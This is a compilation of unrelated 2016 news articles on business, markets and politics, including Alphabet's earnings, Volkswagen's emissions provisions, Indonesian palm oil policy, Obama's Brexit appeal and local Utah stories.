"The main reason that automotive stocks are down today are renewed emission investigations at Daimler, PSA Renault and Mitsubishi. So, as could be feared, the problem seems not to be limited to VW alone," said Patrick Casselman, senior analyst at BNP Paribas Fortis.

Volkswagen AG announced an agreement on Thursday to buy back or potentially fix about a half million polluting diesel cars in the United States and set up environmental and consumer compensation funds. Its shares were down 3.2 percent.

Volkswagen is increasing provisions to pay for the scandal to 16 billion to 17 billion euros ($18.1 billion to 19.2 billion) from 6.7 billion euros, a person familiar with the matter told on Friday. Volkswagen declined to comment on the matter.

French luxury group Kering was down 3.2 percent after its flagship Gucci brand posted a lower-than-expected rise in first-quarter sales on Thursday. The Kering group overall posted lower first-quarter sales than expected.

Finnish financial holding group Sampo fell 5.6 percent, the top decliner in the FTSEurofirst 300 index, after its shares traded without rights to its latest dividend payouts.

However, shares in Zodiac Aerospace surged 6.8 percent on signs Safran was interested in bidding for it, even though Zodiac said late on Thursday that it was not for sale.

(Editing by Larry King)
Google's parent Alphabet Inc missed Wall Street targets for first-quarter profit and revenue on Thursday as it spent more money to build traffic for its mobile advertising services.

The results, which were also hit by the strong dollar, drove shares of the Web search company down 6 per cent in late trading Thursday.

Alphabet's consolidated revenue rose to $20.26 billion from $17.26 billion, slightly below the $20.37 billion analyst consensus, according to Thomson Reuters I/B/E/S. Non-GAAP earnings per share of $7.50, excluding one-time items, missed analysts' expectations of $7.97.

Chief Financial Officer Ruth Porat said on a conference call with investors that payments to other web sites, known as traffic acquisition costs (TAC), totalled $3.8 billion and accounted for 21 per cent of advertising revenues. The percentage of ad revenues spent on TAC grew 13 per cent year-over-year.

That reflects the ongoing shift to mobile advertising and the growing importance of programmatic advertising, in which ads are bought, sold and displayed by automated systems. Investors should get used to seeing increased TAC as "the cost of doing business," said Sameet Sinha, B. Riley & Co analyst.

"If you're getting mobile searches from Apple devices you have to pay Apple for traffic so that revenue can happen," Sinha said. "The same thing on the programmatic side, when you end up representing more people and selling their ad space or buying their ad space, you have to pay somebody else."



Porat said spending on traffic acquisition is expected to keep rising as the shift to mobile continues, pressuring the company's traditionally robust margins on its advertising business.

"I think investors expecting stable margins are probably being overly optimistic. But that said you can have diminishing margins and still have a great business and an incredibly lucrative one," said Pivotal Research Group analyst Brian Wieser.

Google's advertising revenue increased 16.2 per cent to $18.02 billion, while the number of ads, or paid clicks, rose 29 per cent, the company said.

Losses increased at the company's Other Bets business, which includes its broadband business Google Fiber, home automation products Nest, self-driving cars and X - the research division that works on "moon shot" ventures.

The loss widened to $802 million, up from $633 million a year earlier. Revenue rose to $166 million from $80 million.

Compared to Google's overall business, Wieser said losses in other bets were "too small to matter" at the moment.

"If you're an optimist you can look to [other bets] and say it can eventually support long term growth."



Porat said foreign exchange rates factored heavily into the results, shaving $762 million from its revenue for the quarter or $593 million after the effects of a currency hedging program.

"Our total revenue grew 23 percent year-over-year and declined 4 percent sequentially, reflecting holiday seasonality," she said on the conference call.

Martin Pyykkonen, an analyst at Rosenblatt Securities, said the effect of foreign currency was worse for Alphabet than expected.

"If there had been a little better foreign currency translation, it would have been better than the Street consensus," he said.

Alphabet's total net income rose to $4.21 billion, or $6.02 per Class A and B share and Class C capital stock, from $3.52 billion, or $5.10 per share.

The company's shares fell to $732.94 in after hours trade from a close of $780.
demand in India improved this week as jewellery retailers reopened stores after a strike, but the world's second biggest bullion market remained at a discount to the global benchmark as purchases across the region were curbed by higher prices.

Indian jewellers went on an indefinite strike since the start of March in protest over the reintroduction of a sales tax on jewellery after four years. They started opening shops from last week.

"Demand is better than last week, but it is lower than expected," said Harshad Ajmera, the proprietor of JJ House, a wholesaler in the eastern Indian city of Kolkata. Read more from our special coverage on "GOLD" Gold boosted by dollar and equities after oil freeze fails

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"We were expecting retail consumers' rush as jewellery shops were closed for a long time. We couldn't see that kind of rush."

Dealers were offering a discount of up to $8 an ounce to the global spot benchmark this week, down from a discount of up to $25 last week.

The discount hit a record high of $53 an ounce in late February on weak demand.

India's gold imports in March slumped 80.5% from a year ago to $973 million, the government said earlier this week.

"Gradually discounts will taper off and we could see market at parity or at premium by Akshaya Trititya," said a Mumbai-based bullion dealer with a private bank.

India will celebrate Akshaya Tritiya, the second-biggest gold-buying festival after Dhanteras, on May 9.

For now, a rally in global gold prices has kept buyers away.

The gold price hit a five-week high of $1,270.10 an ounce on Thursday, and was set to post a weekly gain of 1 percent. [GOL/]

Dealers said they were seeing some investment demand for gold, though not robust purchases.

"These prices are quite high for retail consumers so they are holding back," said a bullion dealer in Hong Kong.

"Banks and trading house are trying to reduce their gold inventory as there is no demand, so premiums are quite low," he added.

Prices in Hong Kong were at a premium of 50 cents an ounce to the global benchmark, their lowest since May 2015, traders said.

In top consumer China, premiums were steady at around $1 to $2 an ounce. Tokyo prices were on par, with dealers reporting little demand. Singapore premiums also held near 50 cents.
By Bernadette Christina Munthe and Fergus Jensen

JAKARTA (Reuters) - Palm oil firms have slammed Indonesia's move to prohibit the use of new land to boost production, saying President Joko Widodo's latest effort to tackle forest fires could slash jobs and cripple output in the world's top producer of the commodity.

Palm oil is a major growth driver for Indonesia, but the industry is facing criticism for deforestation and its slash-and-burn forest-clearing techniques that send vast plumes of smoke across Southeast Asia every year, described by climate officials as a "crime against humanity".

Widodo has pledged to tackle these fires and last week said palm oil firms must raise yields of existing plantations instead of clearing forests to increase acreage and output. The land already given to growers could be more than twice as productive "provided they use the right seeds", he said.

While green groups welcomed the moratorium, palm firms have questioned its effectiveness and cautioned it could hurt Indonesia's top-producer position.

"The president's suggestion of doubling Indonesian palm growers' productivity is easier said than done," said Togar Sitanggang, corporate affairs manager at Musim Mas, one of Indonesia's biggest palm oil producers.

"The problem with productivity has been there for years," he said, adding it was also unclear who would pay for the right seeds. "There is no budget for this."

Big players, such as PT Sinar Mas Agro Resources , Astra Agro Lestari , Wilmar International , may be able to raise output on their current holdings, but it will be tough for smallholders to do so, industry sources said.

That could lead to layoffs as the harder-hit smallholders, which account for 40 percent of Indonesia's output, are forced to sell land to bigger firms looking to expand, they said.

"Our reputation as the biggest palm oil producer will be history," said Eddy Martono, an official at the Indonesian Palm Oil Association.

The country churned out 32.5 million tonnes of the edible oil in 2015, two-thirds more than No.2 producer Malaysia. Indonesia's overseas palm oil sales raked in $19 billion over the period, or 13 percent of its overall exports.

Indonesia's palm oil industry and plantations are big enough already and "all that's left is how to increase production and (improve) efficiency in terms of land used for oil palm," presidential spokesman Johan Budi said.

A regulation on the moratorium is expected "this year, (but) when exactly I don't know", he told via a text message.

STILL HAZY?

The moratorium is seen as a step in the right direction for Indonesia's reputation among consumers seeking sustainable farming practices. Palm oil is used extensively in food, cosmetics and biofuels.

Earlier this year, consumer goods giant Unilever dropped its deal with Malaysian palm firm IOI Group due to deforestation in the latter's plantations in Indonesia.

Widodo, however, has stepped up the fight to strengthen environmental protection and has earned praise for steps taken after last year's forest fires, which were particularly bad due to a dryness linked to an El Nino weather event and which pushed the country's average daily greenhouse gas emissions above those of the United States.

Several palm oil companies have faced penalties for letting their concessions burn and the government has set up a new anti-fire agency to irrigate dry peatlands, where nearly half the blazes occurred last year. Widodo also cut short a trip to the United States in 2015 to deal with the fires.

But huge challenges remain for Widodo, including corruption in granting concessions and coordinating policy within a decentralised government.

Palm oil areas rose 9 percent from 2013 to around 11.44 million hectares (28 million acres) last year, despite an existing moratorium on clearing primary forest and peatland.

"We have learned from weak enforcement of the moratorium on clearing primary forests and peatland that (such a ban) lacks teeth ... and must take the form of a binding presidential regulation," said Kiki Taufik of Greenpeace Indonesia. Taufik said other government ministries need to be included in the drafting of the latest moratorium for it to be effective.

"We need to push the government to release a real regulation- not just a commitment."

(Editing by Randy Fabi and Himani Sarkar)
Shares of the company, which is amending its deal to buy Visa Europe, fell 4.7 percent to $77 in after-market trading on Thursday. The stock - a Dow component - had risen 4.2 percent this year.

Chief Financial Officer Vasant Prabhu on a conference call blamed weaker U.S. payment volumes due to gas prices and weakness in large commodity-based economies like Brazil for the lowered forecast.

Visa, which reported a better-than-expected profit for its second quarter ended March 31, said it swapped the earn-out option in its deal to buy Visa Europe for an increased cash consideration, following feedback from the European Commission.

"The elimination of that earn out means the European banks can switch away from Visa sooner than they would have previously," said Gil Luria, a Wedbush Securities analyst.

The cash consideration of the deal will be increased by 1.75 billion euros ($1.97 billion), the company said.

Visa said last year it would pay 16.5 billion euros upfront in cash and convertible preferred stock, with potential for an additional payment of up to 4.7 billion euros based on revenue targets four years after the deal closes.

The company said it expects its full-year revenue to grow between 7 percent to 8 percent, lower than its previous forecast of high single-digit to low-double digit.

On a constant-dollar basis, adjusted earnings per Class A share is now expected to grow in low single-digits, compared with its previous forecast of low-end of mid-teens.

The company's net income rose 10 percent to $1.71 billion in the second quarter, helped by a 10.5 percent jump in U.S. payment volumes.

Payments on Visa's U.S. cards account for more than half of the company's total transaction volume.

Excluding items, the company earned 68 cents per Class A share, beating analysts' average estimate by a cent, according to Thomson I/B/E/S.

Total operating revenue rose 6.4 percent to $3.63 billion.

Credit Card Earnings (http://tmsnrt.rs/1nncv98)

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PSUs plan to launch $ 1 bn Masala Bonds for renewable energy projects

The issuances, which would be offered by blue chip government companies, are expected to help evolve new vistas of funding for the renewable energy space

The issuances, which would be offered by blue chip government companies, are expected to help evolve new vistas of funding for the renewable energy space

Energy sector PSUs are planning to launch Masala Bonds worth $1 billion in the UK to fund the renewable energy projects in India. As India gears up to meet its ambitious renewable energy targets of 175 GW of installed capacity by 2022, the country is exploring international mechanisms of funding and is evaluating new and innovative tools to finance the renewables sector. Issuance of these Masala Bonds is one such step in this direction.



Companies including NTPC, Neyveli Lignite Corporation, Power Finance Corporation, Power Trading Corporation and Rural Electrification Corporation are likely to launch these Masala Bonds totalling $1 billion in the next three or four months in the UK to gauge the investor appetite, said Piyush Goyal, Minister of State for Power, Coal and New and Renewable Energy at a round table, Financing renewables and energy efficiency organised in London on April 20, 2016.



Indian public sector giants are likely to examine rupee denominated debt instruments like Masala Bonds to create and develop a new market and identify benchmark prices for these new instruments. The issuances, which would be offered by blue chip government companies, are expected to help evolve new vistas of funding for the renewable energy space.



Piyush Goyal added, The tenor of these bonds is likely to be limited to a band of five to seven years and these are going to be in smaller denominations ranging from $150-250 million. These will be subject to decisions made by the Boards of the PSU energy companies. In addition, Energy Efficiency Services Limited could explore issuance of Green Masala Bond subject to credit rating.



In 2015, IFC issued the first Masala bond listed on the London Stock Exchange. The bonds worth over Rs 1000 crore were issued in a range of tenors, including a ten-year, 10 billion rupee-denominated bond to raise funds for infrastructure projects. Masala bonds are primarily rupee denominated bonds issued to overseas buyers



Talking about the changing landscape the Minister said that several measures are being taken to address the risks in the system one among them the distribution reform UDAY. This is expected to hard stop future losses for distribution companies and is targeted to get these companies back on track. While some of these companies are likely to be revived sooner the entire distribution segment should be on track by 2019. Goyal also announced that IREDA is coordinating a billion dollar equity fund perhaps the largest in the renewable space. This will be professionally managed by an independent international fund management company. Indian public sector companies gave already committed $ 315 million.

BS B2B Bureau
Novo Nordisk to invest Euro 100 mn for new facility in France

The expansion will help Novo Nordisk meet the increasing worldwide demand for its diabetes medicines

The expansion will help Novo Nordisk meet the increasing worldwide demand for its diabetes medicines

Novo Nordisk plans to invest more than Euro 100 million in production facilities at its site in Chartres, France. The expansions will help Novo Nordisk meet the increasing worldwide demand for its diabetes medicines.



The new facility will be built on Novo Nordisks existing 31,000 m2 site in Chartres, which produces a range of the companys insulin products as well as FlexPen, the insulin injection device. The products are exported to more than 40 countries all over the world.



Novo Nordisk has invested Euro 300 million in France over the past 15 years and today employs 1,100 employees at the site. The planned expansion is estimated to create around 250 new jobs once the facilities are fully operational within three to four years.



Lars Rebien Sorensen, president and CEO of Novo Nordisk, With the coming expansion we will further strengthen Chartres' position in our global product supply organisation.

BS B2B Bureau
A group of investors of Japanese mobile giant SoftBank has sought probe and possible sacking of its India-born COO Nikesh Arora over potential conflicts of interest tied to his role as an adviser to a private equity firm.

But SoftBank has stood by the Banaras Hindu University-graduate who is seen as heir-apparent to its billionaire founder Masayoshi Son.

New York firm Boies Schiller & Flexner, acting on behalf of unidentified shareholders, wrote to the board questioning Arora's existing role as a senior adviser to private equity firm Silver Lake and alleged past wrongdoing and generally poor business decisions.

Another latter to Sprint Corp, which SoftBank controls, asks for his removal as a director for similar reasons.

SoftBank, however, stood by Arora, the third-highest paid executive in the world with a pay package of $135 million.

He is President & Chief Operating Officer of SoftBank Corp.

Acknowledging receipt of letter from the US law firm, SoftBank in a statement said, "Mr Arora remains a highly valued leader with proven investment abilities and we are confident he will continue to make great contributions at SoftBank in the years ahead."

Son, one of Japan's richest men and the chief executive of SoftBank, backed the former Silicon Valley executive. "I have complete trust in Nikesh and one thousand per cent confidence in him and know he will continue to do great things for SoftBank in the future," Son said in a statement.

Arora, 48, denied allegations as baseless.

"I take my fiduciary responsibilities seriously and have acted appropriately and in the best interest of shareholders throughout my tenure at SoftBank and Sprint, just as I have conducted myself throughout my professional life. I am completely confident the allegations in the letter are baseless," he said in a statement.

Arora -- who gave up a high-profile post at Google to join the Japanese firm in 2014 -- last August said he would buy 60 billion yen of the company's shares, worth USD 483 million at the time to show his confidence in its prospects.

That was the largest insider purchase by an executive in Japan for at least 12 years.

"We can confirm we are in receipt of a letter from a US law firm claiming to represent unidentified shareholders. The letter makes unsubstantiated allegations against Mr Arora," SoftBank said. "The Board takes its duties seriously and is in the process of reviewing the letter."

The unnamed shareholders have alleged conflicts of interest, poor performance in making investments for SoftBank and excessive compensation at the company without sufficient disclosure.

The conflict-of-interest allegations center on Arora's role as a senior adviser at Silver Lake, a position he has held since 2007 when he worked at Google.

SoftBank said that it is aware of Arora's involvement with Silver Lake and takes care to thoroughly vet any potential conflicts.
Earth Day, observed annually on April 22, on which people throughout the globe demonstrate their support for environmental protection. Google has honoured the vastness of Earth's diversity with a doodle.

Earth Day was first celebrated in 1970 and is "the one day that transcends culture, language, and tradition," Google said, explaining the significance of the Google doodle that inspires us to celebrates our planet.

Today's doodle has been designed by artist Sophie Diao and highlights Earth's five major biomes: the tundra, forest, grasslands, desert, and coral reefs in five stunning illustrations. In each illustration, you'll find one animal who's been singled out for their 15 minutes of fame.

In Friday's doodle, the ubiquitous Google logo morphs to depict, in turn, a polar bear in the tundra, a red fox in the forest, an elephant in the grasslands, a tortoise in the desert and an octopus in the ocean - with a different one appearing each time one visits the site's homepage, TIME online reported.

This day commemorates our planet's ever-flourishing ecosystem that needs to be fiercely protected because it's the only one we've got.

Happy Earth Day!
Budget carrier GoAir on Thursday joined its peer group in upwardly revising its ticket cancellation charges, which now stands at Rs 2,225.

The ticket cancellation fee for GoAir flights have been increased to Rs 2,225 from Rs 1,900 earlier, a GoAir spokesperson said.

The new cancellation charges are effective from April 21, the spokesperson said.

The airline, has however, kept its ticket cancellation charges slightly lower than those by IndiGo and SpiceJet, which recently hiked it to Rs 2,250 per ticket.

This is the second round of hike affected by these carriers as most of the domestic carriers, including IndiGo, had increased the cancellation charges by a significant amount in February this year.

At the time of IndiGo hiking its ticket cancellations charges, apex air passengers body, APAI had warned the airlines of moving to fair trade regulator CCI, alleging cartelisation.

"We are preparing to petition to the Competition Commission of India (CCI) to probe the recent hike in the ticket cancellation charges by the Indian airlines. The way these airlines have announced the increase one-by-one, the pattern definitely suggests an anti-competition practice," Air Passengers Association of India (APAI) president D Sudhakara Reddy had said.
Singapore-based carrier Scoot on Friday announced its entry into the Indian market with flight services to Chennai and Amritsar from next month, making it the fourth airline from the island city-state to establish its presence in the worlds fastest growing aviation market.

The long-haul, low-cost, wholly-owned subsidiary of Singapore Airlines would also operate to Jaipur in the later part of the year, its country head Bharati Mahadevan said.

"We are going to start flights from May 24 into India. Chennai and Amritsar are both going to be launched the same day. Services to Jaipur will be launched from October 2, " Mahadevan said.

"We are a very young airline, just four years old, but have always been interested in the Indian market. Last year, when aircraft deliveries started coming in, we have been eying Indian market. We started the ground work early last year to commence operations here," he said.

While Chennai will be a daily service, flights to Amritsar and Jaipur will operate three times a week to began with, Mahadevan said, adding that Soots India operations will be carried out with Boeing 787 Dreamliner in two class configuration-economy and premium economy.

CEO Campbell Wilson said, "Scoot is excited to bring our proposition of value travel and service to guests in India who will soon be able to fly to amazing destinations in our network through the Singapore hub."

"Our launch in Chennai will complement the SIA Groups existing services, while Scoots new services to Amritsar and Jaipur will bring travellers to the magnificent Golden Temple and the stunning Pink City, enabling guests in Scoots network to discover Indias mystique and allure," he added.

While Chennai and Jaipur will have 335-seater 787-800 aircraft, services to Amritsar will be operated with a 375-seater 787-900, Mahadevan said.

The airline plans to scale up services to Amritsar and Jaipur to four times a week from July 1 and October 28 respectively, he said adding, "we hope to double our operations by 2017 in terms of number of cities."

Scoot, which has a large part of its operations to Australia and China besides other regions and countries, has also announced special promotional all-inclusive economy class fares for its flights from India, starting as low as $64 (Rs 4,250 approx) and $179 (Rs 11,900 approx) for ScootBiz to various international destinations.


It was announced today that Bord Bia, the Department of Agriculture, Food and the Marine and 17 Irish food companies will begin a three day trade mission to Iran this weekend.



The trade visit will be the first from Ireland since international sanctions were lifted earlier this year. Although food did not form part of the international sanctions, issues surrounding financial transactions, dwindling foreign currency reserves and a drop in consumer sentiment as the economy contracted during that period made for a difficult trading environment in Iran.

Iran has a population of 80 million people some 40% of whom are under 25 and an economy anticipated to expand by over 2% annually in the coming years.

It is believed the lifting of sanctions will offer new trading opportunities in Iran for Irish food exporters to increase their share of a market which returned 4 million in 2015.



Department of Agriculture officials will also visit Ankara for discussions with their Turkish counterparts on developing trade between both countries.

A departmental delegation is also in Morocco and Algeria next week to discuss bilateral trade, including the opening of those markets for live cattle from Ireland.



Minister for Agriculture, Simon Coveney commented, "Trade missions are an important element of our agri-food strategy as we seek to diversify the number of available markets for Irish exporters of food and agri-services. This mission will be key to re-introducing Irish companies to the Iranian market and buyers and will no doubt pave the way for greater collaboration with Irish exporters."



Chief Executive of Bord Bia, Aidan Cotter added, "The lifting of international sanctions on Iran opens the way for Irish food exporters to explore trading opportunities in the second largest economy in the Middle East. As the economy grows and demand for premium food products outstrips domestic supply, Iran is looking to countries like Ireland to supply high quality, safe and sustainably produced food."

Source: www.businessworld.ie

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Savills have this week announced they are expanding their new homes division in response to increased activity in the market.

This makes Savills one of Irelands largest specialist new homes divisions once again. The value of Savills new home sales in 2015 equated to 100m  the highest since the economic downturn  and they expect this number to rise substantially in 2016.

Furthermore, new data reveals that enquiries to its new homes department increased by 225% in January compared with the same month last year.

Moreover, when analysing the availability of finance from potential purchasers, Savills revealed that the combined amount topped 500m  this is compared to a total of 2 billion in 2015.



New Homes Director at Savills Ireland, David Browne, claims the significant increase is due in part to the variety of product they are preparing for launch  from high-end Dublin apartments to housing stock in the suburbs and Greater Dublin Area.

However, Browne has also warned that supply is still far below where it needs to be, "Last year, the sale of just over 2,000 new homes completed in Dublin. However, over 30% of those were sold as part of multi-family investment sales, bringing the actual figure closer to just 1,400 units. As has been well documented, there is a requirement for 12,000 new units to be delivered per annum in Dublin alone, so we are still a long way off yet," he said.



As part of the expansion at the Homes Division, Savills have announced the appointments of Associate, Stephanie Patterson and Senior Sales Negotiator, Lyndsey Boland. Stephanie Patterson returns to Savills after 5 years in the UK working with London based agents, Chestertons, in their international residential homes division. Prior to this, Stephanie worked with Savills for more than 8 years in both their international and then property management divisions.

Lyndsey Boland joined Savills in 2012 and worked as a Senior Property Manager in its lettings division before joining the new homes team last month. She has extensive experience in the letting and property management of multi-unit developments of apartments and houses. Meanwhile Linda Forsyth has been promoted to Head of Operations within the division.



When commenting on the new homes expected to come to market this year, David Browne said, "We have seen a significant uplift in product which is either ready to come to the market this spring, or being prepared for launch in the autumn. The majority of new homes we sold last year were traditional houses and we expect a similar trend this year."

Source: www.businessworld.ie

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The An Post Smart Marketing Awards 2016 were held at a Gala Event in the InterContinental Hotel Dublin last night.



The aim of the event is to celebrate Ireland's most innovative and creative campaigns. This year has seen a double digit increase in award entries as more and more agencies and marketing teams battle it out to be named the smartest in their individual industries.



This years judging panel included representatives from the Sunday Business Post, Fundraising Ireland, Core Media Group, eir, Davy, Failte Ireland and Ibec.

Javelin Group won four Gold awards including one for their work on Making a Point on behalf of the Digital Marketing Institute and another for their work with the charity Barnardos. ROTHCO won four Gold awards, two of which were for the world renowned Shred of Decency campaign on behalf of Daintree.

The Agency of the Year award was given to Ignition while the Grand Prix Award was given to Bord Gais Energy for their Helpful Energy Company campaign. Other winners on the night included Publicis Group and Target McConnells.



Head of Media at An Post, Fiona Heffernan said, "The An Post Smart Marketing Awards are celebrating a momentous tenth anniversary. The build up to this years awards was bigger and better than ever before with a huge 20% increase in entries this year. Having experienced a number of very lean years for many brands and agencies it really is heartening to see so many marketers in the industry taking the time to celebrate Smart.""



Source: www.businessworld.ie

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Enterprise Ireland estimates that the international student sector is worth over 1 billion a year to the Irish economy.

Since 2012, Ireland has seen an increase of 25% in the number of international students choosing to study in Ireland.

A key part of this success according to Enterprise Ireland is the the Student Ambassador Programme which is now in its fifth year. As part of the initiative, 75 students from Canada, Chile, Brazil, Russia, China, India, Germany, Malaysia, Nigeria and USA are are actively promoting Ireland as a destination of choice for third level education.

The Ambassadors share their positive experiences with over 3.5 million Education in Ireland online followers.



An event took place yesterday at Farmleigh house to recognise the contribution made by international Student Ambassadors to supporting the work of Education in Ireland, managed by Enterprise Ireland, in attracting international students to Ireland, as well as honouring the Higher Education Authoritys Government of Ireland International Education Scholars.



Presenting the Student Ambassadors with Certificates of Recognition, Minister OSullivan said, "I want to thank you for choosing to study in Ireland, and for sharing your experience with your peers around the world. I congratulate each of you and wish you well in your future studies and the careers you choose."

She added, "We hope that you will stay in touch long after your study here is complete. We will watch with pride as you, our international sons and daughters, make your way through life."



Source: www.businessworld.ie

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A teenage entrepreneur from Wicklow has won the top award at this years Student Enterprise Awards National Finals organised by the Local Enterprise Offices.



Luke Byrne from Colaiste Chraobh Abhann in Kilcoole won the overall Senior Category prize for 'Headphone Helpers', a patent-pending silicone band to stop earphones from getting tangled.



The 14th Annual Student Enterprise Awards National Final in Croke Park saw 201 student entrepreneurs from 69 schools showcase 76 different student enterprises, across Junior, Intermediate and Senior Categories. A record-breaking 22,000 students from 620 schools took part in the programme this year. The iniatative is co-ordinated by all 31 Local Enterprise Offices across Ireland.



The Minister for Skills, Research and Innovation, Damien English presented the awards on stage in Croke Park saying, "It is extremely encouraging to see the level of ingenuity and entrepreneurship in action throughout classrooms in Ireland today. Through the Student Enterprise Awards, the Local Enterprise Offices are supporting more young people to develop practical business experience and it provides students with the opportunity to learn first-hand skills that are vital for securing future growth within the Irish economy."



Source: www.businessworld.ie

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Members of Irelands startup community today attended a Dell for Entrepreneurs seminar in the RHA Gallery in Dublin.

Dell for Entrepreneurs was launched in Ireland in 2014 and through the programme Dell provides entrepreneurs with the access they need to technology, sales enablement, capital, networking, education and brand awareness.

This allows the entrepreneurs to focus on what they do best while leveraging Dells resources and expertise. A key facet of the programme is the Dell Innovators Credit Fund, an up-to 10 million euro hyper-growth fund to provide entrepreneurs with access to financing through Dell Financial Services.

At today's event, business leaders probed the challenges and opportunities faced by new indigenous technology businesses. Opportunities in the emergence of Internet of Things (IoT) technology were examined.

Dell is a leader in this area  launching its first dedicated IoT lab in Europe in Limerick last year. The organisation claims more and more startups are contemplating the new markets and possibilities IoT opens up.

Panellists and speakers at today's event included Executive Director at Dell OEM Solutions EMEA, Dermot OConnell and Entrepreneur and Angel Investor, Mary McKenna.

General Manager at Dell Ireland, Niamh Townsend said, "How to access finance and keep cost lean, how to reach customers at home and overseas and how to find and retain the best talent; these are issues faced by many business in Ireland but getting the answers right is especially critical for startups if they are to live up to their promise."

She added, "As the worlds largest startup, Dell is well placed to work together with startups to help them reach their potential. This event is the first in a series that will gather subject matter experts and experienced leaders together with new company founders to facilitate the sharing of insights."

Source: www.businessworld.ie

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US President Barack Obama made an impassioned appeal on Friday for Britain to remain in the European Union, saying membership had magnified Britain's place in the world and made the bloc stronger and more outward looking.

Fearful that a British exit could weaken the West, Obama arrived in London to tell Britons that issues such as terrorism, migration and economic slowdowns could be tackled more successfully with the UK in the EU.

In approaching such a divisive issue, he invoked the interlinked history of the two countries and the tens of thousands of Americans lying in European war graves as his reason for speaking as "a friend" on the June 23 referendum.

"The European Union doesn't moderate British influence - it magnifies it," he wrote in the Daily Telegraph newspaper.

"The United States sees how your powerful voice in Europe ensures that Europe takes a strong stance in the world, and keeps the EU open, outward looking, and closely linked to its allies on the other side of the Atlantic."

Obama is scheduled to have lunch on Friday at Windsor Castle with Queen Elizabeth, who celebrated her 90th birthday on Thursday, and her husband Prince Philip. He is scheduled to hold talks after lunch with Prime Minister David Cameron.

Obama's visit is a welcome one for Cameron, who is leading the "In" campaign, but it has drawn scorn from those arguing that Britain should leave the bloc.

Opinion polls indicated that British voters are leaning towards the "In" camp, but many remain undecided.

The U.S. government, and many U.S. banks and other companies, fear a Brexit would cause market turmoil, diminish the clout of its strongest European ally, undermine London's global financial hub status, cripple the EU and weaken Western security.

"Now is a time for friends and allies to stick together," he said, adding that ultimately the referendum was a matter for British voters to decide.

The comments will be welcomed by Cameron who has said that this is no time for Britain to drop out of the club it joined in 1973, especially in the face of what he terms Russian President Vladimir Putin's aggression.

Asked about Obama's views, Cameron had previously told the parliament, "Personally I believe we should listen to advice from friends and other countries and I struggle to find the leader of any friendly country who thinks we should leave."

Ahead of a 2014 Scottish vote on independence, Obama said he hoped Britain "remains strong, robust and united," a comment that was welcomed by unionist politicians in London.

For Britain's closest ally, EU membership amplifies British influence, facilitates trade for U.S. companies and strengthens the 28-member bloc that Washington views as a pillar of stability in the post-World War Two era.

Opponents of the EU, many of whom laud the U.S. alliance, have said that membership has shackled Britain to the corpse of a failed German-dominated experiment in European integration, and that Britain, if freed, could prosper as a sole trader.

"Out" campaigners have said the United States would never agree to dilute its own national sovereignty in the way the EU requires of its member states.

New York-born Boris Johnson, the London mayor who heads the "Out" campaign, said he did not want to be lectured by Americans about EU membership and called the President's stance "downright hypocritical."

"For the United States to tell us in the UK that we must surrender control of so much of our democracy - it is a breathtaking example of the principle of do-as-I-say-but-not-as-I-do," he wrote in the Sun newspaper.

Nigel Farage, another prominent opponent of EU membership, told Reuters that President Obama should "butt out."

"This is an unwelcome interference from the most anti-British American president there has ever been. Mercifully, he won't be in office for much longer." (Reuters)

Source: www.businessworld.ie

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CORRECTS YEAR - In this March 21, 2016 photo, 15-year-old Guerline Augustin carries river water on her head, back to a borderland encampment outside the southeast Haitian town of Anse-a-Pitres, Haiti. The encampment is filled with people who either fled or were deported from the neighboring Dominican Republic amid an immigration crackdown. Within a month, authorities hope to move nearly 2,400 people in a half-dozen encampments by providing enough money for them to rent homes for a year in nearby towns. (AP Photo/David McFadden)

Nick Eastmonds travels around the world in the name of education already this year took him and his wife Irene to Haiti for six weeks, starting in January.

Eastmond, a professor emeritus in USUs Instructional Technology and Learning Sciences Department, took his expertise to Haiti as a Fulbright Senior Scholar.

My job was to work with faculty at the University of Notre Dame dHaitis branch in the city of Jacmel and to teach a seminar on educational research, said Dr. Eastmond. I did that and also taught a couple of other groups while I was there.

Eastmond is fluent in French and all of his teaching was done in that language.

Irene, who also taught at USU, was asked to teach an English conversation class.

I can speak some French, so that helped in explanations, she said. But they wanted me as a native English speaker to help their students, who had already had several years of english.

The Eastmonds said they were comfortable during their stay but indicated electricity was erratic or often there was no water because there wasnt always electricity to operate water pumps.

Before he retired Nick made an application along with his department head, planning to do some work in Pakistan.

At about that time, Pakistan got rather dangerous, especially for Americans, so it wasnt the right time to go.

That put them on a five-year list which led to the assignment in Haiti in the last year of their eligibility.

Almost 300,000 people died in the Haiti earthquake six years ago and the Eastmonds said evidence still remains of the damage including buildings still standing but un-inhabited and uninhabitable.

They have done a lot of reconstruction, said Irene, and they have been constructing buildings to be earthquake safe.

They say it is likely they will return to Haiti one day.

It may not happen immediately, said Nick, but if we have the right assignment we would love to do that. We do have a couple of interns from the Global Communications Department here on campus, people who served LDS missions in French-speaking places, and we think two of them will be leaving in early-June to go back down and work at the University of Notre Dame dHaiti.
Donavan Faucette, 38, social worker with Bear River Mental Health who was arrested early Monday morning, accused of having a sexual relationship with a 16-year-old client.

LOGAN  A 35-year-old social worker from Hyrum, Donavan Faucette has been sentenced to prison for having sex with a 16-year-old girl.

Faucette cried and wiped away tears Monday morning, as he stood in 1st District Court. Judge Thomas Willmore ordered him to serve five-years-to-life in the Utah State Prison.

Faucette was arrested in May 2015 after telling a supervisor at Bear River Mental Health, where he was employed, that he had sex with a client. He drove the girl into Logan Canyon and had oral sex with her near the turnoff to Temple Fork Canyon. Deputies arrested him two days later and booked him in the Cache County Jail. He later pleaded guilty to one count of forcible sodomy, a first-degree felony.

During sentencing, Faucette told the court he had lived in absolute hell, thinking about the pain he had caused so many people, and hoped they could find peace. He said he had made a series of horrible choices.

Defense attorney Shannon Demler told Judge Willmore, Faucette was a young man who no one would ever expect doing what he did, noting he was an Eagle Scout, returned missionary for the LDS Church and has a wife and six children.

Judge Willmore said he was sickened that Faucette, who was in a position of authority, told investigators he saw characteristics in the victim that reminded him of his wife. The investigation reports also claimed, he fantasized about living with her in a polygamous relationship.

During sentencing, a victims advocate read a statement from the victim saying she had forgiven Faucette and hoped he would find mercy.

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Image courtesy Dane Cooper.

LOGAN  After traveling for seven days, through five European countries and more than 2,500 miles as part of the international Red Bull Can You Make It? competition, a group of three Utah State University students are back in Logan. The competition gave 165 teams from more than 50 countries the opportunity to seek adventure and travel Europe.

The catch? Each team was without personal cell phones and cash. The only available form of currency was a pack of 24 Red Bull energy drinks.

When all was said and done, Dane Cooper, Charles ONeal and Veeko Nomaaea took third place, but for them it was never about the competition.

It was about the adventure, Cooper said shortly after returning to Utah. We saw a lot of teams struggling and it was nice knowing that we were able to press on and finish and know that we made it.

